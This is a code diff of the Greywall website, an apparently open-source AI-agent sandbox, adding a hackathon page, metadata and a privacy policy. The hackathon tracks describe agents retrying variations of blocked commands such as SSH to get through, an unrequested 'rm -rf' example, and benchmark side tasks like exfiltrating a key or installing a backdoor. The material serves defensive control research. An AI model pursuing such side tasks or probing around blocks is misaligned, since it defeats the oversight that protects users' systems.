<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Judging Criteria</h3>
|
||||
<div className="space-y-8">
|
||||
{dimensions.map((dim) => (
|
||||
<div key={dim.title} className="rounded-xl border border-border/30 bg-card/20 overflow-hidden">
|
||||
<div className="p-5 border-b border-border/20">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1">{dim.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{dim.question}</p>
|
||||
</div>
|
||||
<div className="divide-y divide-border/15">
|
||||
{dim.scores.map((s) => (
|
||||
<div key={s.score} className="flex gap-4 px-5 py-3">
|
||||
<span className="font-sans text-sm font-bold text-primary w-6 shrink-0">{s.score}</span>
|
||||
<p className="text-sm text-muted-foreground font-sans">{s.desc}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Submission Requirements */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Submission Requirements</h3>
|
||||
<div className="rounded-xl border border-border/30 bg-card/20 p-6 space-y-6">
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">A complete submission includes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A research report in PDF format</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A project title and brief abstract (150 words max)</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Author names for all team members</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Which challenge track your project addresses</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Recommended report structure:</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-3">There is no hard page limit. Most strong submissions are 4-8 pages.</p>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Introduction:</span>What problem did you address? Why does it matter?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Related Work:</span>What existing work does your project build on?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Methodology:</span>What did you build or test? Enough detail to replicate.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Results:</span>What did you find? Include quantitative results where possible.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Discussion:</span>Implications, limitations, what you would do with more time.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">References:</span>Cite relevant prior work.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Important notes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can submit as an individual or as a team</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can build on existing work, but you must clearly identify what is new work done during the hackathon</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Your PDF is not editable or replaceable once submitted</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ScheduleTab() {
|
||||
return (
|
||||
<div className="text-center py-12 space-y-6">
|
||||
<p className="font-serif text-lg text-muted-foreground">Schedule will be announced soon.</p>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function InfoSection() {
|
||||
const [activeTab, setActiveTab] = useState<string>('overview')
|
||||
|
||||
return (
|
||||
<section className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-4xl">
|
||||
{/* Tab navigation */}
|
||||
<div className="flex gap-2 mb-12 justify-center flex-wrap">
|
||||
{infoTabs.map((tab) => (
|
||||
<button
|
||||
key={tab}
|
||||
onClick={() => setActiveTab(tab.toLowerCase())}
|
||||
className={`px-5 py-2 rounded-full text-sm font-sans font-medium transition-all cursor-pointer ${
|
||||
activeTab === tab.toLowerCase()
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'bg-card/40 border border-border/40 text-muted-foreground hover:text-foreground hover:border-border/60'
|
||||
}`}
|
||||
>
|
||||
{tab}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Tab content */}
|
||||
{activeTab === 'overview' && <OverviewTab />}
|
||||
{activeTab === 'resources' && <ResourcesTab />}
|
||||
{activeTab === 'guidelines' && <GuidelinesTab />}
|
||||
{activeTab === 'schedule' && <ScheduleTab />}
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Terminal Showcase ─── */
|
||||
|
||||
function TerminalShowcase() {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-20 sm:py-28 px-4 sm:px-6 relative overflow-hidden">
|
||||
{/* Background glow behind terminal */}
|
||||
<div className="absolute right-0 top-1/2 -translate-y-1/2 w-[500px] h-[400px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.06),transparent_70%)] blur-2xl pointer-events-none" />
|
||||
|
||||
<div className={`mx-auto max-w-5xl grid md:grid-cols-2 gap-10 items-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}>
|
||||
<div>
|
||||
<p className="text-xs font-sans uppercase tracking-wider text-primary font-medium mb-4">The data stream</p>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent action, in real time.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>'s proxy captures every request, file access, and command your AI agent executes. This is what you'll be building on.
|
||||
</p>
|
||||
</div>
|
||||
<div className="animate-float [animation-duration:6s]">
|
||||
<LiveTerminal />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Tracks ─── */
|
||||
|
||||
const tracks = [
|
||||
{
|
||||
id: 'pii-filtering',
|
||||
icon: Eye,
|
||||
title: 'PII Filtering',
|
||||
hook: 'Strip sensitive data before it reaches the model, without breaking the task.',
|
||||
color: 'from-orange-500/10 to-amber-500/5',
|
||||
borderColor: 'hover:border-orange-500/30',
|
||||
description: 'Build a Greywall layer that strips PII (names, credit cards, etc.) from data before it reaches the model while still letting the agent complete tasks correctly. You define your own test cases and demonstrate it works.',
|
||||
scoring: 'You bring your own proof. Show it works on real-world data, not just toy examples.',
|
||||
examples: ['Data masking', 'Pattern detection', 'Context-aware redaction', 'Format preservation'],
|
||||
Visual: StreamViz,
|
||||
},
|
||||
{
|
||||
id: 'intent-classifier',
|
||||
icon: Target,
|
||||
title: 'Intent vs. Action Classifier',
|
||||
hook: 'Detect when an agent does something the user never asked for.',
|
||||
color: 'from-emerald-500/10 to-teal-500/5',
|
||||
borderColor: 'hover:border-emerald-500/30',
|
||||
description: 'Build a classifier that sits in the proxy and blocks destructive actions that weren\'t asked for. Some tool calls match the user\'s intent ("delete files starting with 1" results in rm ./1*). Some don\'t ("refactor this module" results in rm -rf everything). You build the test suite that proves it.',
|
||||
scoring: 'Design your own evaluation. Demonstrate it catches real mismatches, not just scripted ones.',
|
||||
examples: ['Heuristics-based', 'ML classifiers', 'Semantic matching', 'Action risk scoring'],
|
||||
Visual: SecureViz,
|
||||
},
|
||||
{
|
||||
id: 'derail-detection',
|
||||
icon: AlertTriangle,
|
||||
title: 'Derail Detection',
|
||||
hook: 'Catch agents that keep trying variations after being blocked.',
|
||||
color: 'from-amber-500/10 to-yellow-500/5',
|
||||
borderColor: 'hover:border-amber-500/30',
|
||||
description: 'Detect when an agent persistently mutates blocked commands, like repeatedly trying SSH variations to find a path through. Build something that spots the pattern and stops or redirects it with an informative message.',
|
||||
scoring: 'Create your own adversarial sessions and prove your detector catches them.',
|
||||
examples: ['Pattern matching', 'Mutation detection', 'Session analysis', 'Auto-redirect'],
|
||||
Visual: RadarViz,
|
||||
},
|
||||
{
|
||||
id: 'antivirus',
|
||||
icon: ShieldAlert,
|
||||
title: 'Malicious Request Detection',
|
||||
hook: 'Scan requests for supply chain attacks and flag them. Fast.',
|
||||
color: 'from-cyan-500/10 to-sky-500/5',
|
||||
borderColor: 'hover:border-cyan-500/30',
|
||||
description: 'Build a guardrail that scans network requests and commands for malicious patterns (e.g. supply chain attacks via NPM packages). You define the threat scenarios and prove detection works without killing latency.',
|
||||
scoring: 'Fastest accurate solution wins. You bring the benchmarks.',
|
||||
examples: ['Request scanning', 'Dependency analysis', 'Threat signatures', 'Low-latency filtering'],
|
||||
Visual: ScanViz,
|
||||
},
|
||||
{
|
||||
id: 'response-rewriting',
|
||||
icon: MessageSquare,
|
||||
title: 'Response Rewriting',
|
||||
hook: 'Turn cryptic block messages into helpful guidance.',
|
||||
color: 'from-violet-500/10 to-purple-500/5',
|
||||
borderColor: 'hover:border-violet-500/30',
|
||||
description: 'When an agent gets blocked, intercept the error and rewrite it to explain why and suggest alternatives, so the agent self-corrects instead of retrying the same thing twenty times.',
|
||||
scoring: 'Demonstrate with real agent sessions that your rewrites actually stop the retry loop.',
|
||||
examples: ['Error interception', 'Context injection', 'Alternative suggestion', 'Loop prevention'],
|
||||
Visual: ExtendViz,
|
||||
},
|
||||
{
|
||||
id: 'control-benchmark',
|
||||
icon: FlaskConical,
|
||||
title: 'Control Evaluation Benchmark',
|
||||
hook: 'Build the test suite that measures how well sandboxes actually work.',
|
||||
color: 'from-rose-500/10 to-pink-500/5',
|
||||
borderColor: 'hover:border-rose-500/30',
|
||||
description: 'Define main tasks (real software engineering work) paired with side tasks (exfiltrate a key, install a backdoor, modify git hooks). Measure how much useful work an agent completes under Greywall\'s restrictions vs. how often adversarial goals succeed.',
|
||||
scoring: 'Show the safety/usefulness tradeoff. A good benchmark reveals real weaknesses, not just toy scenarios.',
|
||||
examples: ['Main/side task pairs', 'Policy quality scoring', 'Layer isolation tests', 'Reproducible evals'],
|
||||
Visual: BenchViz,
|
||||
},
|
||||
]
|
||||
|
||||
function TrackCard({ track, index }: { track: typeof tracks[0]; index: number }) {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
const { ref: spotlightRef, onMove } = useMouseSpotlight()
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={`transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}
|
||||
style={{ transitionDelay: `${index * 120}ms` }}
|
||||
>
|
||||
<div
|
||||
ref={spotlightRef}
|
||||
onMouseMove={onMove}
|
||||
className={`card-spotlight group relative rounded-2xl border border-border/40 ${track.borderColor} bg-gradient-to-br ${track.color} transition-all duration-300 overflow-hidden hover:-translate-y-0.5 hover:shadow-[0_8px_40px_rgba(0,0,0,0.2)]`}
|
||||
>
|
||||
<div className="absolute top-0 left-0 right-0 h-px bg-gradient-to-r from-transparent via-primary/30 to-transparent opacity-0 group-hover:opacity-100 transition-opacity" />
|
||||
|
||||
<div className="flex">
|
||||
{/* Content */}
|
||||
<div className="flex-1 p-8 sm:p-10 relative z-10">
|
||||
<h3 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-3">
|
||||
{track.title}
|
||||
</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-4 max-w-lg">
|
||||
{track.hook}
|
||||
</p>
|
||||
<p className="text-sm text-muted-foreground/80 font-sans leading-relaxed mb-2 max-w-lg">
|
||||
{track.description}
|
||||
</p>
|
||||
<p className="text-sm text-primary/80 font-sans font-medium mb-6 max-w-lg">
|
||||
{track.scoring}
|
||||
</p>
|
||||
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{track.examples.map((ex) => (
|
||||
<span key={ex} className="px-3 py-1.5 text-xs font-sans font-medium rounded-full bg-card/60 border border-border/30 text-muted-foreground backdrop-blur-sm hover:border-primary/20 hover:text-foreground transition-colors">
|
||||
{ex}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Side visual */}
|
||||
<div className="hidden md:block w-[220px] shrink-0 relative overflow-hidden">
|
||||
<track.Visual />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function Tracks() {
|
||||
return (
|
||||
<section id="tracks" className="py-24 sm:py-32 px-4 sm:px-6 relative">
|
||||
{/* Subtle background glow */}
|
||||
<div className="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 w-[800px] h-[600px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.04),transparent_70%)] pointer-events-none" />
|
||||
|
||||
<div className="relative mx-auto max-w-5xl">
|
||||
<div className="text-center mb-16">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight mb-4">
|
||||
Pick your track.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground max-w-2xl mx-auto">
|
||||
Six open-ended tracks, all building on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>.
|
||||
Go deep on one or try a few.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="space-y-6">
|
||||
{tracks.map((track, i) => (
|
||||
<TrackCard key={track.id} track={track} index={i} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Location ─── */
|
||||
|
||||
function Location() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-14 sm:py-20 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className={`mx-auto max-w-5xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<div className="inline-flex items-center gap-2 mb-3">
|
||||
<MapPin className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">Location</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Montreal.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground">
|
||||
Venue and dates announced soon.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── FAQ ─── */
|
||||
|
||||
const faqs = [
|
||||
{ q: 'Can I work on more than one track?', a: 'Yes. You can tackle as many tracks as you want over 48 hours. Focus deep on one or spread across several.' },
|
||||
{ q: 'Do I need security or ML experience?', a: 'No. The tracks are designed so you can approach them with heuristics, ML, or creative engineering. If you can write code, you can participate.' },
|
||||
{ q: 'How are teams formed?', a: 'We split participants into teams of 2 to 3. You can request to be grouped with someone, or we will match you.' },
|
||||
{ q: 'Do I need to know Greywall?', a: 'Nope. We provide setup support and Greywall maintainers are on hand throughout.' },
|
||||
{ q: 'What happens to my code?', a: 'Your code is yours. Winners get featured on the permanent Hall of Fame page, added as contributors in the GitHub README, and invited to an exclusive Greyhaven CEO dinner.' },
|
||||
{ q: 'What do I need to bring?', a: 'A laptop. We provide Greywall infrastructure, docs, food, and caffeine.' },
|
||||
]
|
||||
|
||||
function FAQ() {
|
||||
return (
|
||||
<section id="faq" className="py-24 sm:py-32 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<h2 className="font-serif text-4xl sm:text-5xl font-semibold tracking-tight text-center mb-16">FAQ.</h2>
|
||||
<div>
|
||||
{faqs.map((faq) => <FAQItem key={faq.q} question={faq.q} answer={faq.a} />)}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button onClick={() => setOpen(!open)} className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer group">
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold group-hover:text-primary transition-colors">{question}</h3>
|
||||
<ChevronDown className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${open ? 'rotate-180' : ''}`} />
|
||||
</button>
|
||||
<div className={`grid transition-[grid-template-rows] duration-200 ${open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'}`}>
|
||||
<div className="overflow-hidden">
|
||||
<p className="pb-5 text-muted-foreground font-serif text-base leading-relaxed">{answer}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Final CTA ─── */
|
||||
|
||||
function FinalCTA() {
|
||||
const { ref, visible } = useInView()
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30 relative overflow-hidden">
|
||||
{/* Aurora background */}
|
||||
<div className="absolute inset-0 aurora-bg opacity-60" />
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_center,rgba(217,94,42,0.1)_0%,transparent_60%)]" />
|
||||
|
||||
<div className={`relative mx-auto max-w-3xl text-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-8'}`}>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight mb-6 text-shimmer">
|
||||
Build something that matters.
|
||||
</h2>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Page ─── */
|
||||
|
||||
export default function HackathonsPage() {
|
||||
return (
|
||||
<main className="min-h-screen relative">
|
||||
<NoiseOverlay />
|
||||
<Nav />
|
||||
<Hero />
|
||||
<TerminalShowcase />
|
||||
<InfoSection />
|
||||
<Tracks />
|
||||
<Location />
|
||||
<FAQ />
|
||||
<FinalCTA />
|
||||
<Footer />
|
||||
</main>
|
||||
)
|
||||
}
|
||||
100
app/layout.tsx
@@ -1,10 +1,26 @@
|
||||
import type { Metadata } from 'next'
|
||||
import { Inter, Source_Serif_4 } from 'next/font/google'
|
||||
import './globals.css'
|
||||
|
||||
const inter = Inter({
|
||||
subsets: ['latin'],
|
||||
display: 'swap',
|
||||
variable: '--font-inter',
|
||||
})
|
||||
|
||||
const sourceSerif = Source_Serif_4({
|
||||
subsets: ['latin'],
|
||||
display: 'swap',
|
||||
variable: '--font-source-serif',
|
||||
style: ['normal', 'italic'],
|
||||
axes: ['opsz'],
|
||||
})
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greywall — Sandbox for AI Agents',
|
||||
metadataBase: new URL('https://greywall.io'),
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description:
|
||||
'Container-free, default-deny sandboxing with real-time observability for AI coding agents. Five defense layers. One command.',
|
||||
'Frictionless sandboxing with real-time observability for AI agents on Linux and macOS. One command, nothing to configure. Open source.',
|
||||
icons: {
|
||||
icon: [
|
||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||
@@ -13,6 +29,76 @@ export const metadata: Metadata = {
|
||||
],
|
||||
apple: '/apple-icon.png',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
url: 'https://greywall.io',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
images: [{ url: '/og-image.png', width: 1200, height: 630 }],
|
||||
},
|
||||
twitter: {
|
||||
card: 'summary_large_image',
|
||||
title: 'Greywall: Sandbox for AI Agents',
|
||||
description: 'Frictionless sandboxing with real-time observability for AI agents. One command, nothing to configure.',
|
||||
images: ['/og-image.png'],
|
||||
},
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io',
|
||||
},
|
||||
}
|
||||
|
||||
const jsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@graph': [
|
||||
{
|
||||
'@type': 'Organization',
|
||||
'@id': 'https://greyhaven.co/#organization',
|
||||
name: 'Greyhaven',
|
||||
url: 'https://greyhaven.co',
|
||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/icon.svg' },
|
||||
sameAs: ['https://github.com/GreyhavenHQ'],
|
||||
},
|
||||
{
|
||||
'@type': 'WebSite',
|
||||
'@id': 'https://greywall.io/#website',
|
||||
name: 'Greywall',
|
||||
url: 'https://greywall.io',
|
||||
publisher: { '@id': 'https://greyhaven.co/#organization' },
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareApplication',
|
||||
'@id': 'https://greywall.io/#software',
|
||||
name: 'Greywall',
|
||||
description:
|
||||
'Frictionless sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
applicationCategory: 'SecurityApplication',
|
||||
operatingSystem: 'Linux, macOS',
|
||||
url: 'https://greywall.io',
|
||||
downloadUrl: 'https://github.com/GreyhavenHQ/greywall',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
offers: { '@type': 'Offer', price: '0', priceCurrency: 'USD' },
|
||||
author: { '@id': 'https://greyhaven.co/#organization' },
|
||||
featureList: [
|
||||
'Filesystem isolation',
|
||||
'Network isolation',
|
||||
'Command blocking',
|
||||
'Real-time violation monitoring',
|
||||
'Learning mode',
|
||||
'Syscall filtering',
|
||||
'Dynamic allow/deny controls',
|
||||
],
|
||||
isAccessibleForFree: true,
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareSourceCode',
|
||||
name: 'Greywall',
|
||||
codeRepository: 'https://github.com/GreyhavenHQ/greywall',
|
||||
programmingLanguage: 'Go',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
targetProduct: { '@id': 'https://greywall.io/#software' },
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
export default function RootLayout({
|
||||
@@ -21,13 +107,11 @@ export default function RootLayout({
|
||||
children: React.ReactNode
|
||||
}>) {
|
||||
return (
|
||||
<html lang="en" className="dark">
|
||||
<html lang="en" className={`dark ${inter.variable} ${sourceSerif.variable}`}>
|
||||
<head>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossOrigin="anonymous" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Serif+4:ital,opsz,wght@0,8..60,400;0,8..60,500;0,8..60,600;0,8..60,700;1,8..60,400;1,8..60,600;1,8..60,700&display=swap"
|
||||
rel="stylesheet"
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
||||
/>
|
||||
</head>
|
||||
<body className="font-sans antialiased bg-background text-foreground">
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
import { PlatformProvider } from '@/components/platform-toggle'
|
||||
import { Nav } from '@/components/nav'
|
||||
import { Hero } from '@/components/hero'
|
||||
import { Agents } from '@/components/agents'
|
||||
import { Problem } from '@/components/problem'
|
||||
import { GettingStarted } from '@/components/getting-started'
|
||||
@@ -9,6 +10,8 @@ import { Layers } from '@/components/layers'
|
||||
import { Observability } from '@/components/observability'
|
||||
import { Control } from '@/components/control'
|
||||
import { Comparison } from '@/components/comparison'
|
||||
import { About } from '@/components/about'
|
||||
import { FAQ } from '@/components/faq'
|
||||
import { Footer } from '@/components/footer'
|
||||
|
||||
export default function Home() {
|
||||
@@ -16,6 +19,7 @@ export default function Home() {
|
||||
<PlatformProvider>
|
||||
<main className="min-h-screen">
|
||||
<Nav />
|
||||
<Hero />
|
||||
<Problem />
|
||||
<Observability />
|
||||
<Agents />
|
||||
@@ -23,6 +27,8 @@ export default function Home() {
|
||||
<Control />
|
||||
<Comparison />
|
||||
<GettingStarted />
|
||||
<About />
|
||||
<FAQ />
|
||||
<Footer />
|
||||
</main>
|
||||
</PlatformProvider>
|
||||
|
||||
118
app/privacy/page.tsx
Normal file
@@ -0,0 +1,118 @@
|
||||
import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Privacy Policy | Greywall',
|
||||
description: 'How Greywall handles your data.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/privacy',
|
||||
},
|
||||
}
|
||||
|
||||
export default function PrivacyPage() {
|
||||
return (
|
||||
<main className="min-h-screen pt-24 pb-16 px-4 sm:px-6">
|
||||
<article className="mx-auto max-w-2xl">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Privacy Policy
|
||||
</h1>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-12">
|
||||
Last updated: March 19, 2026
|
||||
</p>
|
||||
|
||||
<div className="space-y-10 text-muted-foreground font-serif text-base leading-relaxed">
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greywall (the CLI tool)</h2>
|
||||
<p>
|
||||
Greywall runs entirely on your machine. It does not phone home, collect telemetry,
|
||||
or transmit any data. No analytics, no crash reports, no usage tracking. The source
|
||||
code is open and auditable
|
||||
at <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">github.com/GreyhavenHQ/greywall</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">This website (greywall.io)</h2>
|
||||
<p className="mb-4">
|
||||
The Greywall landing page is a static site hosted on Vercel. We do not use cookies,
|
||||
analytics scripts, or tracking pixels. Vercel may collect minimal server logs
|
||||
(IP address, user agent, timestamp) as part of standard web hosting.
|
||||
See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a> for
|
||||
details.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greyscan</h2>
|
||||
<p className="mb-4">
|
||||
When you use Greyscan at <a href="/greyscan" className="text-primary hover:text-primary/80 transition-colors">/greyscan</a>,
|
||||
the following happens:
|
||||
</p>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
Your browser fetches the public file tree, dependency list, and README from GitHub's
|
||||
API directly. This data never passes through our servers during collection.
|
||||
</li>
|
||||
<li>
|
||||
To generate the threat report, a summary of the repo structure (file names,
|
||||
detected stack, dependency names, and up to 8,000 characters of the README) is
|
||||
sent to our server and forwarded to a third-party LLM provider for analysis.
|
||||
</li>
|
||||
<li>
|
||||
Results are cached in server memory for up to 24 hours to avoid redundant
|
||||
LLM calls for the same repository, then discarded. We do not persist scan
|
||||
results to disk or a database.
|
||||
</li>
|
||||
<li>
|
||||
No repository source code is read or transmitted. Only file paths, dependency
|
||||
names, and the public README are included.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Third-party services</h2>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
<span className="text-foreground font-medium">GitHub API</span> — Greyscan
|
||||
calls the GitHub REST API from your browser to fetch public repository metadata.
|
||||
Subject to <a href="https://docs.github.com/en/site-policy/privacy-policies/github-general-privacy-statement" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub's privacy statement</a>.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">LLM provider</span> — Repo
|
||||
summaries sent through Greyscan are processed by a third-party LLM to generate
|
||||
threat reports. The provider may retain data per their own policies.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">Vercel</span> — Hosting
|
||||
infrastructure. See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a>.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Security</h2>
|
||||
<p>
|
||||
If you discover a security issue in Greywall or this website, please report it
|
||||
via <a href="https://github.com/GreyhavenHQ/greywall/security" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub Security Advisories</a>.
|
||||
We will respond promptly.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Contact</h2>
|
||||
<p>
|
||||
For questions about this policy,
|
||||
reach us at <a href="https://greyhaven.co/contact" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">greyhaven.co/contact</a>.
|
||||
</p>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div className="mt-16 pt-8 border-t border-border/30">
|
||||
<a href="/" className="text-sm text-muted-foreground hover:text-foreground transition-colors font-sans">
|
||||
← Back to Greywall
|
||||
</a>
|
||||
</div>
|
||||
</article>
|
||||
</main>
|
||||
)
|
||||
}
|
||||
9
app/sitemap.ts
Normal file
@@ -0,0 +1,9 @@
|
||||
import type { MetadataRoute } from 'next'
|
||||
|
||||
export default function sitemap(): MetadataRoute.Sitemap {
|
||||
return [
|
||||
{ url: 'https://greywall.io', lastModified: new Date(), changeFrequency: 'weekly', priority: 1 },
|
||||
{ url: 'https://greywall.io/greyscan', lastModified: new Date(), changeFrequency: 'monthly', priority: 0.8 },
|
||||
